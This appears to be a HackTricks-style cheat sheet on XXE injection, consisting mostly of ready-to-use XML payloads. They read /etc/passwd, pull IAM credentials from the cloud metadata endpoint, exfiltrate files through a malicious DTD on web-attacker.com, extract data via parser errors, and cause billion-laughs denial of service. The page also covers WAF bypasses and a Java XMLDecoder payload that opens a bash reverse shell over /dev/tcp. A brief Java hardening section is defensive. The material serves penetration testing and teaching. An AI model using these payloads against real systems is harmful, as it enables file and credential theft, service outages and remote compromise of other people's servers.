> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# XXE (XML External Entity)

> Exploiting XML External Entity vulnerabilities for file read, SSRF, blind data exfiltration, error-based extraction, DoS, and bypassing protections via various DTD techniques.

XML External Entity (XXE) injection occurs when an XML parser processes external entity references in user-supplied XML input, potentially allowing file reads, SSRF, and remote code execution.

## Basic Entity Test

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
    <productId>&toreplace;</productId>
    <storeId>1</storeId>
</stockCheck>
```

## Read Local Files

```xml theme={null}
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```

```xml theme={null}
<!-- Using PHP wrappers for base64 encoding -->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```

```xml theme={null}
<!-- With ANY element type -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&file;</productId>
</stockCheck>
```

## Directory Listing (Java)

```xml theme={null}
<!-- Request directory instead of file for listing -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
```

## SSRF via XXE

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

## Blind SSRF with Parameter Entities

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

## Out-of-Band Data Exfiltration

Host a malicious DTD at your server:

```xml theme={null}
<!-- malicious.dtd hosted at http://web-attacker.com/malicious.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Then trigger it:

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

## Error-Based Data Extraction (External DTD)

```xml theme={null}
<!-- Trigger parsing error containing file contents -->
<!-- malicious.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

## Error-Based Using System DTD (Blind with No Outbound)

```xml theme={null}
<!-- Redefine entity from existing local DTD -->
<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

## Hidden XXE Surfaces

<AccordionGroup>
  <Accordion title="XInclude Attack">
    When you can't modify the DOCTYPE but control data within server-generated XML:

    ```xml theme={null}
    productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
      <xi:include parse="text" href="file:///etc/passwd"/>
    </foo>&storeId=1
    ```
  </Accordion>

  <Accordion title="SVG File Upload">
    ```xml theme={null}
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <image xlink:href="file:///etc/hostname"></image>
    </svg>

    <!-- Execute via PHP expect wrapper -->
    <image xlink:href="expect://ls"></image>
    ```
  </Accordion>

  <Accordion title="Office Document Upload">
    Unzip a DOCX/XLSX and inject XXE in `word/document.xml`. Rezip and upload to trigger server-side parsing.
  </Accordion>

  <Accordion title="Content-Type: JSON to XML">
    Some servers accept both JSON and XML. Try changing `Content-Type: application/json` to `Content-Type: text/xml` and convert the body to XML with an XXE payload.
  </Accordion>

  <Accordion title="XLIFF File Format">
    XLIFF is XML-based. Some translation tools parse uploaded XLIFF files server-side:

    ```xml theme={null}
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE XXE [
    <!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd"> %remote; ]>
    <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
    ```
  </Accordion>
</AccordionGroup>

## DoS Attacks

```xml theme={null}
<!-- Billion Laughs Attack -->
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

## WAF Bypasses

```xml theme={null}
<!-- Base64 encoded (if data:// protocol supported) -->
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

<!-- HTML entity nesting -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;...>" >%a;%dtd;]>
```

## Java XMLDecoder RCE

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
   <void method="exec">
     <array class="java.lang.String" length="3">
       <void index="0"><string>/bin/bash</string></void>
       <void index="1"><string>-c</string></void>
       <void index="2"><string>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</string></void>
     </array>
   </void>
 </object>
</java>
```

## Java Hardening

```java theme={null}
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Disallow DOCTYPE declarations
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```

## Python lxml XXE (\< 5.4.0)

```xml theme={null}
<!-- Error-based file disclosure via parameter entities -->
<!DOCTYPE colors [
  <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
  <!ENTITY % config_hex '
    <!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
  %eval;'>
  %local_dtd;
]>
```

## Tools

* [xxexploiter](https://github.com/luisfontes19/xxexploiter)
* [dtd-finder](https://github.com/GoSecure/dtd-finder) — Find local DTD files for error-based XXE
